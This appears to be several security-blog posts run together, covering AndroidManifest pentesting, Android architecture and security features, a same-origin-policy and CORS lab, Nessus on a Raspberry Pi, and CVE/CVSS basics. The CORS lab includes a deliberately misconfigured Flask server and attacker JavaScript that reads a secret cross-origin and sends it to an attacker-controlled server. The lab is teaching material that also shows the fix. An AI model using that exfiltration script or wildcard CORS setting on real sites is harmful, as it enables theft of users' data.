Structure of AndroidManifest.xml

Here’s a basic example of the AndroidManifest.xml file:

xmlCopy code<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.myapp"
    android:versionCode="1"
    android:versionName="1.0">

    <uses-sdk
        android:minSdkVersion="21"
        android:targetSdkVersion="33" />

    <uses-permission android:name="android.permission.INTERNET" />

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme">

        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <service android:name=".MyService" />
        <receiver android:name=".MyReceiver" />
    </application>
</manifest>

Key Elements to Analyze

1. Root Element (<manifest>)

Defines global application metadata:

• package: The app’s unique identifier. Check for hardcoded package names that could reveal sensitive information.

• android:versionCode & android:versionName: Internal and user-visible versioning. Older apps may lack security updates.

2. Permissions (<uses-permission>)

Permissions define what resources the app can access. Overly broad permissions can indicate potential security issues.

Example:

xmlCopy code<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />

What to Look For:

• Excessive Permissions: Does the app request permissions irrelevant to its functionality (e.g., a flashlight app requiring location)?

• Dangerous Permissions: Permissions like READ_SMS, WRITE_EXTERNAL_STORAGE, and ACCESS_FINE_LOCATION are high-risk and require scrutiny.

3. Application Attributes (<application>)

The <application> element defines app-wide settings and components.

Critical Attributes:

• android:allowBackup="true": If enabled, attackers can back up app data and extract sensitive information. Should be set to false in production.

• android:debuggable="true": Allows debugging the app. If left enabled in production, it opens doors for reverse engineering.

4. Activities (<activity>)

Activities represent the app’s UI components.

Example:

xmlCopy code<activity android:name=".MainActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>

Key Checks:

• android:exported="true": Exported activities can be invoked by other apps. Ensure sensitive activities are not unnecessarily exported.

• Intent Filters: Look for activities with broad intent filters that can be exploited (e.g., android.intent.action.VIEW with no restrictions).

5. Services (<service>)

Services perform background tasks.

Example:

xmlCopy code<service android:name=".MyService"
    android:exported="false" />

Key Checks:

• Exported Services: Ensure that sensitive services are not exported unless necessary.

• Insecure IPC (Inter-Process Communication): Look for services susceptible to exploitation via Binder.

6. Broadcast Receivers (<receiver>)

Broadcast Receivers handle system-wide or app-level events.

Example:

xmlCopy code<receiver android:name=".MyReceiver">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED" />
    </intent-filter>
</receiver>

What to Look For:

• Unprotected Broadcasts: Can the receiver handle malicious broadcasts from untrusted sources?

• Critical Actions: Receivers for actions like BOOT_COMPLETED can be abused for persistent attacks.

7. Content Providers (<provider>)

Content Providers manage structured data and allow sharing between apps.

Example:

xmlCopy code<provider
    android:name=".MyContentProvider"
    android:authorities="com.example.myapp.provider"
    android:exported="true" />

Key Checks:

• Exported Providers: Exported providers should enforce proper permissions to avoid data leaks.

• SQL Injection: Test providers for SQL injection vulnerabilities.

8. Intent Filters

Intent Filters specify how components handle intents.

Example:

xmlCopy code<intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.DEFAULT" />
    <data android:scheme="https" android:host="www.example.com" />
</intent-filter>

Penetration Testing Focus:

• Broad Filters: Ensure filters don’t allow unintended interactions.

• Scheme Hijacking: Check for weaknesses in data attributes (e.g., android:scheme).

9. SDK Versions (<uses-sdk>)

Defines the minimum and target Android SDK versions.

Example:

xmlCopy code<uses-sdk
    android:minSdkVersion="21"
    android:targetSdkVersion="33" />

What to Check:

• minSdkVersion: Low versions may expose the app to vulnerabilities fixed in later versions.

• targetSdkVersion: Ensure it targets a secure and supported SDK version.

10. Queries (<queries>)

Introduced in Android 11, this element restricts app visibility into other installed apps.

Example:

xmlCopy code<queries>
    <package android:name="com.example.app1" />
</queries>

Testing Tip:

• Overexposure: Ensure queries only include necessary apps to avoid exposing sensitive interactions.

Practical Pentesting Steps

1. Static Analysis:

   • Extract the AndroidManifest.xml from the APK using tools like apktool.

   • Analyze exported components, permissions, and intent filters.

2. Dynamic Analysis:

   • Use tools like Drozer to identify and exploit exported components.

   • Test activities, services, and content providers for security flaws.

3. Common Vulnerabilities:

   • Insecure Backup: allowBackup set to true.

   • Excessive Permissions: Permissions like READ_SMS without justification.

   • Component Exploitation: Exported activities, services, or receivers without proper restrictions.

   • Injection Attacks: SQL injection or command injection via content providers.

Conclusion

The AndroidManifest.xml file offers a wealth of information for penetration testers. By thoroughly analyzing its elements, you can uncover misconfigurations, excessive permissions, and insecure component exports that might lead to critical vulnerabilities. Always validate findings with dynamic testing to ensure the app's security posture.

When starting with Android app development, it’s essential to understand the structure of an Android project. Here's a breakdown of the typical directory and file structure:

project/
├── app/
│   ├── build/
│   ├── src/
│   │   ├── main/
│   │   │   ├── java/com/example/app/
│   │   ┒   ├── res/
│   │   ┒   ┒   ├── drawable/
│   │   ┒   ┒   ├── layout/
│   │   ┒   ┒   ├── values/
│   │   ┒   ┒   ├── mipmap/
│   │   ┒   ┒   ├── raw/
│   │   ├── AndroidManifest.xml
│   ┒   ├── test/
│   ┒   ├── androidTest/
│   ├── build.gradle
│
├── build/
├── gradle/
├── settings.gradle
├── build.gradle
├── gradlew
├── gradlew.bat
└── local.properties

Breakdown of Directories and Files

app/

This is the primary module containing the app’s source code and resources.

• src/

  • main/: The main source set for the app.

    • java/: Contains the Java/Kotlin source files organized by package structure (e.g., com.example.app).

    • res/: Contains all the app’s resources, such as layouts, drawables, and strings.

      • drawable/: Holds drawable resources such as images or XML-based vector assets.

      • layout/: Contains UI layout files in XML format.

      • values/: Holds resource files like strings.xml, styles.xml, and colors.xml.

      • mipmap/: Stores launcher icons for various screen densities.

      • raw/: Contains raw assets like audio or video files.

      • anim/: Stores animation XML files.

      • menu/: Contains XML resources for menus.

      • color/: XML files defining color resources.

      • xml/: Contains custom XML configuration files.

    • assets/: Stores raw files such as fonts or JSON files to be included in the app.

    • AndroidManifest.xml: The manifest file declaring app components, permissions, and configurations.

  • test/: Contains unit test files.

  • androidTest/: Contains instrumentation test files for testing app functionality on devices.

• build/: Holds build outputs and intermediate files for the app module.

• build.gradle: Module-level build configuration, defining dependencies, build types, and variants.

build/

This directory contains build outputs and intermediate files generated during the build process.

gradle/

Holds Gradle’s wrapper configuration files.

.gradle/

Caches for the Gradle build system to improve build speed and efficiency.

settings.gradle

Defines the project’s structure and modules. Typically lists the app module and other included modules.

build.gradle (Project-level)

Specifies global configurations, such as dependency repositories, plugins, and build script dependencies.

gradlew and gradlew.bat

Scripts to execute the Gradle wrapper. gradlew is for Unix-based systems, and gradlew.bat is for Windows.

local.properties

Contains local configurations, such as the path to the Android SDK, and is not included in version control.

Structure After Decompiling with APKTool

Steps to Decompile an Android App

Before understanding the structure of decompiled files from an APK, we have to know that we can decompile an APK using below command, which can be downloaded from here.

apktool.jar d <app-name>.apk

• Replace <app-name> with the actual name of the APK file.

Below is the structure we get after decompiling the app using APKTool:

decompiled_app/
├── AndroidManifest.xml
├── apktool.yml
├── assets/
│   ├── fonts/
│   ├── data.json
│   ├── ...
├── lib/
│   ├── armeabi/
│   ├── armeabi-v7a/
│   ├── arm64-v8a/
│   ├── x86/
│   ├── x86_64/
├── original/
│   ├── AndroidManifest.xml
│   ├── ...
├── res/
│   ├── drawable/
│   ├── layout/
│   ├── values/
│   ├── mipmap/
│   ├── anim/
│   ├── raw/
│   ├── ...
├── smali/
│   ├── com/
│   │   ├── example/
│   │   │   ├── app/
│   │   │   ├── utils/
├── smali_classes2/ (if multidex)
├── smali_classes3/ (if multidex)
└── unknown/
    ├── file1.dat
    ├── ...

Key Components

• original/

  • Contains original files that were not modified during the decoding process.

  • Examples:

    • AndroidManifest.xml (binary version).

    • Other untouched files from the original APK.

• smali/

  • Contains the app's code in smali format, a human-readable representation of the Dalvik bytecode.

  • Organized by package structure:

      smali/com/example/app/
      smali/com/example/utils/
    

  • If the app is multidex, you may see:

    • smali_classes2/

    • smali_classes3/

• res/

  • Decompiled resources such as layouts, drawables, and values.

  • Subdirectories:

    • drawable/: Image resources.

    • layout/: UI layout XML files.

    • values/: Strings, styles, and other resource XMLs.

    • raw/: Raw files like audio, video, etc.

    • menu/: Menu XML resources.

  • These files are in their decoded form and can be modified directly.

• assets/

  • Raw asset files included in the app.

  • These are not compiled and remain in their original form.

  • Examples: Fonts, JSON files, text files, etc.

• lib/

  • Contains native libraries included in the APK.

  • Organized by CPU architecture:

    • armeabi/

    • armeabi-v7a/

    • arm64-v8a/

    • x86/

    • x86_64/

• AndroidManifest.xml

  • The decoded version of the app’s manifest file.

  • Contains permissions, components (activities, services, etc.), and other configuration details in readable XML format.

• apktool.yml

  • Metadata for APKTool.

  • Includes information about the APK being decompiled, such as the original package name, version, and other build settings.

  • Example:

      version: 1
      apkFileName: app-release.apk
      isFrameworkApk: false
      sdkInfo:
        minSdkVersion: 21
        targetSdkVersion: 33
    

• unknown/ (Optional)

  • Contains files that APKTool could not decode or place into other directories.

  • Often includes additional or custom data files used by the app.

Comparison: Android Project vs. Decompiled APK

Understanding both structures is vital for reverse engineering, debugging, or performing penetration tests on Android apps.

System Security: Safeguarding User Data

Android implements a range of security features to ensure the protection of user data, including advanced encryption techniques and trusted execution environments.

Encryption Methods

1. File-Based Encryption (FBE)
   Introduced in Android 7.0, file-based encryption allows different files to be encrypted with unique keys that can be unlocked independently. This method enhances security by isolating sensitive data at the file level.

   For more details, visit: Android Encryption Features.

2. Full-Disk Encryption (FDE)
   Available since Android 5.0, full-disk encryption uses a single key protected by the user’s device password to secure the entire userdata partition. Upon boot, user credentials are required to access any part of the disk. Android 9 introduced support for metadata encryption. With metadata encryption, a single key present at boot time encrypts whatever content is not encrypted by FBE.

Trusted Execution Environment (TEE) and Rich Execution Environment (REE)

Android employs two distinct execution environments to balance performance and security:

• Trusted Execution Environment (TEE):

  • Hardware Security: The TEE provides a secure area of the device's main processor, isolating cryptographic operations and biometric key storage from the primary operating system.

  • Secure Operations: Trusted applications running in the TEE handle sensitive data securely, ensuring that operations such as secure boot, authentication, and encryption remain protected from external interference.

• Rich Execution Environment (REE):

  • The REE includes the main Android OS and supports standard app operations, balancing user experience and performance. However, as the REE is not isolated from potential vulnerabilities, it relies on the TEE for critical security operations.

  • Ensures that less critical processes do not compromise the overall system by delegating sensitive operations to the TEE.

By utilizing both environments, Android maintains a separation between secure and non-secure tasks, reducing the risk of attacks on sensitive data.

Verified Boot

Verified Boot ensures that only trusted code is executed on the device by validating the integrity of the operating system during startup. However, this feature is typically disabled when users root or jailbreak their devices.

Network Security: Securing Communication

To protect data during transmission, Android incorporates robust network security features:

1. TLS and DNS Over TLS: Implemented by default since Android 9, these protocols ensure secure and encrypted communication.

2. App-Specific Network Security Configuration: Developers can define custom security configurations for each app to enhance security granularity.

3. Certificate Pinning: Prevents man-in-the-middle attacks by ensuring the authenticity of a server's certificate.

Software Isolation: Keeping Apps Contained

Android employs multiple layers of isolation to safeguard user data and prevent malicious activity:

• SELinux: Enhances mandatory access control and isolates apps in sandboxes to prevent unauthorized access.

  • Permissive Mode: Logs permission denials without enforcement.

  • Enforcing Mode: Logs and enforces permission denials.

• Permissions Management: Permissions must be explicitly declared by apps in their manifest files, giving users control over data access.

• Application Sandbox: The Android platform uses Linux's user-based protection to assign a unique user ID to each app, running it in its own process to create a kernel-level Application Sandbox.

Anti-Exploitation Techniques: Mitigating Attacks

Android’s security framework includes advanced anti-exploitation mechanisms to thwart common vulnerabilities like kernel exploits and buffer overflows:

1. Address Space Layout Randomization (ASLR): Introduced in Android 4.1, ASLR randomizes memory addresses to make it harder for attackers to predict the location of specific code.

2. Kernel ASLR (KASLR): Extended to the kernel in Android 8, further protecting the operating system.

3. Data Execution Prevention (DEP): Prevents execution of non-executable memory regions.

4. SECCOMP Filters: Limits access to system calls to reduce the attack surface.

Conclusion

Understanding Android's inbuilt security features is essential before attempting to exploit app vulnerabilities. These mechanisms, such as file-based encryption, SELinux, and anti-exploitation technologies, create a robust defense against modern threats. By comprehending how Android secures user data and devices, security professionals can better appreciate the challenges of bypassing these measures and contribute to building more secure applications and systems.

Android, being one of the most popular mobile operating systems, is built on a layered architecture. Each layer is designed to handle specific functionalities and ensure seamless communication across the system. Let’s dive into the layers, starting from the foundation:

There are mainly 6 layers in the android architecture.

• Linux Kernel

• Hardware Abstraction Layer

• Native C/C++ Libraries

• Android Run Time

• JAVA API Framework

• Applications

Let's explore each layer one by one to understand their uses and potential vulnerabilities.

Linux Kernel

The Linux Kernel is the core and most privileged layer in Android. It handles fundamental system services, including:

• Memory Management

• Process Management

• Network Stack

• Device Drivers

Android uses Security-Enhanced Linux (SELinux) to apply access control policies and establish mandatory access control (mac) on processes.

Android 7.0 and later supports strictly enforced Verified Boot, which means compromised devices can't boot. Verified Boot guarantees the integrity of the device software starting from a hardware root of trust up to the system partition.

In this layer, vulnerabilities like buffer overflows or privilege escalation bugs can allow attackers to take full control of the device, often bypassing application-level security measures.

The vulnerabilities found in Linux are often applicable to Android as well. For instance, privilege escalation exploits like Dirty Pipe demonstrate how attackers can gain unauthorized root access. Similarly, kernel vulnerabilities can lead to issues such as bypassing access controls, injecting malicious code, or causing system crashes on Android devices. Example: Dirty Pipe for Android

However, SELinux (Security Enhanced Linux) helps reduce the impact of such vulnerabilities by enforcing strict security policies. SELinux operates by defining and enforcing mandatory access control policies that limit the actions of applications and processes on the system. For example, it ensures that even if an application is compromised, its ability to access sensitive files or system components is strictly restricted.

Hardware Abstraction Layer

The HAL is situated between the Linux Kernel and Native Libraries within the Android architecture. Its primary role is to enable communication between the kernel and native libraries.

The HAL acts as a software hook between hardware components and the Android platform. It consists of multiple library modules, each of which implements an interface for a specific type of hardware component, such as the camera or Bluetooth module.

HAL modules are sandboxed, meaning: A HAL module for audio cannot access the module for Bluetooth, ensuring better security. For example, if a malicious actor gains access to the audio HAL, the sandboxing ensures that their actions remain isolated and do not compromise other HAL modules like the camera or Bluetooth. This compartmentalization minimizes potential attack surfaces and helps maintain the integrity of individual hardware components.

Vulnerabilities in the HAL, such as improper access controls, can allow attackers to exploit hardware components like microphones or cameras for malicious purposes.

• CVE-2021-0673

• Checkpoint Research on MediaTek Audio DSP

Native Libraries

Native Libraries are system-critical binaries written in C and C++. These libraries are essential for system functionality and include components such as:

• SQLite for database management.

• OpenSSL for encryption and security protocols.

• WebKit for rendering web content.

Vulnerabilities in these libraries, like memory corruption or integer overflows, can be exploited to execute arbitrary code or compromise sensitive data stored in the device. Example vulnerability:

• 22-Year-Old Vulnerability in SQLite

Android Run Time

The Android Runtime exists at the same level as the Native Libraries in the architecture. It is responsible for executing Android applications and includes:

• DVM (Dalvik Virtual Machine): Executes Dalvik bytecode.

• ART (Android Runtime): Executes Android Application Packages (APKs).

In contrast, JIT (Just-In-Time) compilation compiles code during runtime, which can lead to slower application launches but allows for dynamic optimization based on runtime conditions. AOT, on the other hand, precompiles code during installation, resulting in faster application startup times and more consistent performance at the cost of slightly longer installation times.

Vulnerabilities in ART can affect how applications are executed, potentially allowing attackers to inject malicious code during the runtime process or bypass security checks on APK files. Example: Attackers Modifying Apps Without Affecting Signatures.

Execution flow in ART:

1. Java/Kotlin source code is compiled using the Java compiler to produce Java bytecode (.class files).

2. The bytecode is converted into Dalvik bytecode (.dex files) using the dex compiler.

3. Finally, it is executed within the Dalvik VM or ART.

Android Framework

The Android Framework offers high-level APIs for developers, enabling them to interact with underlying system components and create feature-rich applications. Its key components include:

• Content Providers: Allow apps to share and access data from other apps.

• View System: Helps create User Interfaces (UI).

• Managers:

  • Notification Manager: Handles notifications.

  • Location Manager: Provides location services.

  • Activity Manager: Manages the activity lifecycle.

Vulnerabilities in framework components, such as content providers or managers, can allow unauthorized access to user data or lead to privilege escalation attacks through poorly secured APIs.

Application Layer

This is the top-most layer of the Android architecture. Applications are developed using Java or Kotlin and packaged as APK files. An APK contains:

• Application code.

• Resources.

• Manifest files, etc.

Additionally, cross-platform frameworks like Flutter are becoming increasingly popular for Android development, enabling developers to build applications that work seamlessly across multiple operating systems with a single codebase.

Vulnerabilities in applications, such as insecure data storage or improper authentication, can be exploited to steal sensitive user information or manipulate app behavior.

Conclusion

The Android architecture is designed to ensure a secure and efficient ecosystem for both developers and users. However, each layer presents unique vulnerabilities that can be exploited if not adequately secured. From the Linux Kernel to the Application Layer, understanding the functionalities and potential risks of each layer is crucial for building and maintaining secure Android systems. By leveraging robust security practices such as SELinux policies, sandboxing, and proper application development protocols, we can significantly mitigate the risks and maintain the integrity of Android devices.

According to MDN Web docs, The same-origin policy is a critical security mechanism that restricts how a document or script loaded by one origin can interact with a resource from another origin.

It helps isolate potentially malicious documents, reducing possible attack vectors. For example, it prevents a malicious website on the Internet from running JS in a browser to read data from a third-party webmail service (which the user is signed into) or a company intranet (which is protected from direct access by the attacker by not having a public IP address) and relaying that data to the attacker.

In this blog, we will see how an attacker can practically achieve this.

Setting up a vulnerable server

First, We will set up a simple server using python flask. For people, who are new to Python or web development, they have to run the following command first to install Flask and CORS library(We will understand, what is CORS in further sections).

pip install Flask Flask-CORS

Now create a file with the name vulnerable.py and add the following code to it.

from flask import Flask, Response, request
from flask_cors import CORS

app = Flask(__name__)
CORS(app, resources={r"/*": {"origins": "*"}})

@app.route('/')
def index():
    resp = Response("""
        <html>
        <head>
            <title>vulnerable.com</title>
        </head>
        <body>
            <h1>Hello from vulnerable.com!</h1>
        </body>
        </html>
    """)
    resp.set_cookie('Secret', 'PleaseDontEatMe')
    return resp

@app.route('/secret')
def secret():
    return "Super-Sensitive-data"

if __name__ == '__main__':
    app.run()

Let's understand the code, In the first 2 lines we are importing required flask-related libraries. Then we created a Flask application instance. We will skip the next line for now where we are introducing a vulnerability for an attacker. Next, we created a simple index function which will be executed as soon as the request is made to the server. This function will return the defined HTML code and will set the cookie Secret in the client browser. Then there is a function with a name secret that returns super-sensitive data. Finally, we are running the application using app.run().

Now that we have created and understood our victim server, we can run it using the below command.

python vulnerable.py

The output of the above command says that our server is running on port 5000. We can access it using this URL http://127.0.0.1:5000. To stop the server we need to hit Ctrl+c.

Let's be an attacker

After creating and hosting our victim server we'll create an attacker server. We can follow the above steps but we need to create a file with the name attacker.py instead of victim.py and add the following code.

from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
    return """
        <html>
        <head>
            <title>attacker.com</title>
        </head>
        <body>
            <h1>Hello from def.com!</h1>
            <script src="/script.js"></script>
        </body>
        </html>
    """

@app.route('/script.js')
def script():
    return """
        fetch('http://127.0.0.1:5000/secret')
        .then(response => response.text())
        .then(data => {
            const xhr = new XMLHttpRequest();
            xhr.open('GET', 'http://127.0.0.1:4545/receive?secret=' + encodeURIComponent(data));
            xhr.send();
        });
    """

if __name__ == '__main__':
    app.run(port=4545)

Let's understand the code. In the above code, the first thing we need to notice is that we are running the server on port 4545. Next, we need to understand that the JavaScript which is returned upon requesting for script.js.

fetch('http://127.0.0.1:5000/secret')
    .then(response => response.text())
    .then(data => {
         const xhr = new XMLHttpRequest();
         xhr.open('GET', 'http://127.0.0.1:4545/receive?secret=' + encodeURIComponent(data));
         xhr.send();
        });

The above code will make the browser send a request to http://127.0.0.1:5000/secret. Then whatever response it will get it will send that to http://127.0.0.1:4545 back in its query parameters like this http://127.0.0.1:4545/recieve?secret=TheSecret.

Now that we have both the environment set for the vulnerable website and the attacker's website. Let's see things, how they work. Don't forget to start the attacker.py code using python attacker.py command.

Step 1: Access the page http://127.0.0.1:5000. Once loaded it should look something like below.

Also, we can see a request is generated in the CLI.

Step 2: Now access the http://127.0.0.1:4545. We will see a page like below loaded into our browser. Press the F12 button and developer console will be loaded. Notice that the browser has send a request to http://127.0.0.1:4545 with the sensitive data.

Now if we will check the CLi where we have started the attacker's server we can see the "Super-sensitive data"

What's the problem with this scenario and why somebody will care about it? Let's imagine you are visiting a banking website and there are various sensitive endpoints such as retrieving bank balances, transferring money etc. Now an attacker created a random site and sent it to you through email or any other social media and you clicked on the link and you saw a funny meme and then ignored it. However, the attacker's site loaded more than just a meme and it all happened in the background. The JavaScript loaded to your browser will retrieve the sensitive data from your bank account and send it back to him.

To get rid of this problem, browsers got the SOP - Same origin policy. As per the SOP, A resource or script loaded from one origin can allow resources from the same origin only. We consider it the same origin when the protocol, domain and port numbers are the same for both. We can understand this from the following table.

Comparing this to our lab environment, we were violating the policy by accessing the resource from different ports. The Vulnerable server was running on the 5000 port while our attacker's server was running on the 4545 port.

What if there's a requirement for a resource to be shared from a different origin? will that never be allowed? That's far from the truth. There's a solution to this and that's CORS.

What is CORS?

CORS or the "Cross-Origin Resource Sharing". As per the MDN, Cross-Origin Resource Sharing (CORS) is an HTTP-header-based mechanism that allows a server to indicate any origins (domain, scheme, or port) other than its own from which a browser should permit loading resources.

Now coming back to our lab setup, if you remember we have used the below line of code in our vulnerable.py code, this line of code is a bypass to the SOP.

CORS(app, resources={r"/*": {"origins": "*"}})

In our example, we had allowed the CORS from all the origins by using a wildcard entry "*". Due to this, the attacker's server was able to access the 'Super-sensitive-data. Configuring CORS this way is not a security best practice. Sometimes developers become lazy and they allow this type of CORS instead of specifying the domains from which the resources can be accessed.

Now if we remove this line of code completely from our vulnerable.py server and perform the same attack we will see that we are not able to access the 'Super-sensitive-data' from the attacker's server and we get the following result in the developer console. When we check in the terminal where we started our attacker's server we see that

Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://127.0.0.1:5000/secret. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing).

Now, let's assume that the attacker server is a genuine server and we want it to access the content of the vulnerable server but we don't want any one else to access that data. We can replace the wildcard entry with the below line.

CORS(app, resources={r"/*": {"origins": "http://127.0.0.1:4545"}})

This code will make sure that the resource can only be shared with http://127.0.0.1:4545 not any other. This way we can make sure that the server is not misconfigured. We can add more options to work according to our requirement such as allowing only required methods but not all.

Thanks for reading the blog. Hope this adds some value to your work and knowledge. Please feel free to give any feedback.

References:

https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

https://portswigger.net/web-security/cors/same-origin-policy

Hence tenable has released a Nessus package for ARM CPU which is specially built for Raspberry pi.

Pre-requisite

TLDR; Raspberry pi with 32-bit raspberry pi OS installed. You can refer my blog for step by step guide.

The only pre-requisite for this installation is a raspberry pi kit with Raspberry pi 32-bit OS installed. While writing this blog tenable has released a 32-bit Nessus package only. So in case if you are trying to install it on a 64-bit package you may face some problems as I have gone through the same. But it should not be the case. As far as I know, all the 32-bit software should support 64 bit CPU. If you know why that is happening please let me know.

Installation

Without any further delay, let’s see what steps someone should follow to do it. The best place to get started is the tenable documentation itself.

From here we can download the required Nessus package after agreeing to the terms and conditions.

Once downloaded we can use the below commands to install the Nessus.

cd Downloads/
sudo dpkg -i Nessus-10.3.0-raspberrypios-armhf.deb
sudo /bin/systemctl start nessusd.service

Now open the browser on raspberry pi and go to https://raspberrypi:8834. Congratulations Nessus installation is successful if you see a certificate error on the browser. Now select the Nessus essentials. If you have a license for others you can go with that.

In the next screen fill the details and click on “Email”

You will receive an activation code on your mail address and fill that in on the next page.

You will be asked to set up the username and password for signing up. Once that is done you can sign in to the Nessus console.

It will take a lot of time to download and compile the plugins, which are the core things used during vulnerability scanning.

After logging in we can create a scan as per our requirement. Creating a scan is very easy on Tenable.

Click on New scan

Select the scan template. Here we will select the “Basic Network scan”

Now fill in the details in the form → Name, Description, Targets. Then click on the small drop-down button near to save button and click Launch,

Now we can see a scan has been started.

After some time the scan will be completed and we can see the results.

Next, we can export the report or we can analyze the vulnerabilities.

That’s all for this blog. If you want to get a brief idea about the Vulnerability assessment, then you can check my Vulnerability assessment blog. Thanks for reading and please reach out to me for any feedback.

🙏🏻 I received this raspberry pi kit from team tenable after a small quiz. A huge thanks to Tenable.

Components used:

1. Micro SD card

2. Raspberry pi 4 8 GB

3. 3A USB-C power adapter

4. USB Micro SD card reader

5. Micro HDMI cable

6. Monitor, Keyboard and Mouse

7. Case to hold/protect the Raspberry pi [Optional]

8. Cooling Fan [Optional]

Let’s get started..!!

Assembling the kit

The first step to getting started with this process is to know and assemble the kit we have. It’s really easy to do so.

While assembling we need to start with raspberry pi module clipping it on the base of the case. Then put the middle portion of the case carefully.

Then attaching the cooling fan to the top cover. After that, we need to attach the cooling fan cable to the the pins for power supply and attach the top cover on the kit now.

While connecting pins we can refer the below images.

As our hardware assembling is done we can now proceed for installing OS and connecting the cables.

Installing Raspberry OS

To get started with the OS installation we can install the raspberry pi imager on our personal computer.

Step 1: Open Raspberry Pi Imager

Step 2: Click on Choose OS & select the required OS

Step 3: Select Choose storage

Step 4: Click on write


Step 5: Click on Yes

Step 6: OS will be written to the SD card now.

Step 6: Click continue. Remove the SD card from PC.

Step 7: Insert into the raspberry pi.

Step 8: Now connect all the cables to raspberry pi. (HDMI, Power supply, Mouse and Keyboard)

Now raspberry pi should boot. Like any other OS, it will ask to select the keyboard layout, Language and Country from which it is going to be used.

Once that is done it will ask to set up the wi-fi which is optional if the internet connection is going to be provided by an ethernet cable.

Next, it will ask for the updates which can be ignored and can be updated using the below commands.

sudo apt-get update
sudo apt-get upgrade -y

After proceeding further we are all set with the raspberry pi. Congratulations!!

Now one would like to install open-ssh on the host so that it would be easier to connect to the host from any other personal computer.

sudo apt-get install openssh-server
sudo systemctl enable ssh 
sudo systemctl start ssh

Also, we can set up the RDP on the raspberry pi using the below commands

sudo apt-get install xrdp
sudo systemctl enable xrdp
sudo systemctl start xrdp

Thanks for reading till the end. Please let me know for any feedback.

A vulnerability is a security flaw or weakness that allows an intruder to reduce a system’s information assurance. In simple terms, a vulnerability is a misconfiguration or weakness in the software or service, which can be exploited by a threat actor to get unauthorized access to the system.

A vulnerability requires three elements:

• System weakness

• Intruder’s access to the weakness

• Intruder’s ability to exploit the weakness using a tool or technique.

For example,

• Unnecessary ports open to the internet

• Insecure operating system configurations

• Outdated or unsupported third-party software which may lead to multiple vulnerabilities, etc.

Note: According to various organizations and vendors, There are multiple definitions of vulnerability and all of them talk about weakness in a software/service/system.

Multiple new vulnerabilities are getting discovered by security researchers every day on various software and operating systems. So one might think about who keeps track of these vulnerabilities and if any standards are being followed to track these vulnerabilities. To answer that we have to discuss CVE - Common vulnerabilities and exposures.

CVE and CVSS

A CVE(Common vulnerabilities and exposures) is an open data registry of publicly known cybersecurity vulnerabilities. Each vulnerability in the CVE list has a CVE ID or we can say various vulnerabilities are being identified using CVE IDs. CVE IDs are assigned by the CVE numbering authority(CNAs). We can find all the CVEs in the NVD - National vulnerability database, which comes under NIST - national institute of standards and technology. CVE program is primarily operated by The MITRE Corporation, which is the primary CNA. Under MITRE there are multiple sub-CNAs. When a security researcher(s) finds a vulnerability in an application/service, then it can be requested for CVE. The below image illustrates how the CVE report process works.

Image Credit: CVE.ORG

Apart from the National Vulnerability Database (NVD) Many public sources of vulnerability definitions exist, such as Microsoft’s security updates and are freely available. Additionally, several vendors offer access to private vulnerability databases via paid subscriptions.

Using this process thousands of CVEs are released every year. However all the vulnerabilities are not the same, they come with various criteria. Let's say we have 2 vulnerabilities on our system and out of which one is complex and another is easy to exploit. In that case, one should always focus on the latter one as there is a bigger chance that a threat actor will try to exploit it. To prioritize the remediation of vulnerabilities a scoring system is being used, which is called CVSS - A common vulnerability scoring system. Various other vendors use their scoring system, however, CVSS is a popularly used vulnerability scoring system.

As per First.org, The Common Vulnerability Scoring System (CVSS) provides a way to capture the principal characteristics of a vulnerability and produce a numerical score reflecting its severity.

The numerical score can then be translated into a qualitative representation (such as low, medium, high, and critical) to help organizations properly assess and prioritize their vulnerability management processes.

Using various metrics CVSS is being calculated such as attack complexity, impact, privilege required, etc. In fact, there are 3 versions of CVSS and those are v1, v2, v3, and v3.1. Over the year CVSS scoring system has improved and multiple new criteria being added to the scoring system to make it more efficient and reliable.

All the details related to the CVSS scoring system can be found here. Sometimes it is really important and useful to understand the CVSS vector, CVSS metrics, and scores. One can use this calculator to calculate the CVSS score of a vulnerability.

CVSS metrics: There are various metrics, which is used to calculate the CVSS score or we can say which help to prioritize the remediation. CVSS is composed of three metric groups: Base, Temporal, and Environmental, each consisting of a set of metrics.

Image Credit: first.org

CVSS vector: A CVSS vector is a syntactical representation of various metrics using which the score can be calculated. For example CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

AV - Attack Vector (AV) : N - Network
AC - Attack Complexity (AC) : L - Low
PR - Privileges Required (PR) : H - High
UI - User Interaction (UI) : N - None
S - Scope : U - Unchanged
C - Confidentiality : L - Low
I - Intigrity : L - Low
A - Availability : N - None

CVSS Score: As we saw multiple CVSS metric groups are there, so we must have multiple CVSS scores per group. These scores are calculated using certain formulae. Which can be referred from here.

A zero-day vulnerability is a vulnerability in a system or device that has been disclosed but is not yet patched. An exploit that attacks a zero-day vulnerability is called a zero-day exploit.

Now we understand what is vulnerabilities, CVE and CVSS. It is there to help security engineers and organizations to prioritize the remediation of vulnerabilities and stay safe over the internet or within the organization. When it comes to an asset, it can be a company-provided smartphone, an end-user computer, a highly sophisticated server, or a database containing public to anything very sensitive to the organization or a network device like a switch or router.

If an attacker finds any vulnerability and can exploit it then it is not so far for the attacker to get network-wide access using other vulnerabilities present over the network.

There can be thousands of assets in a computer and planning to fix or remediate these vulnerabilities sometimes becomes difficult and that's where we need vulnerability management.

What is vulnerability management?

Vulnerability management is the process of identifying, evaluating, treating, and reporting security vulnerabilities in systems and the software that runs on them.

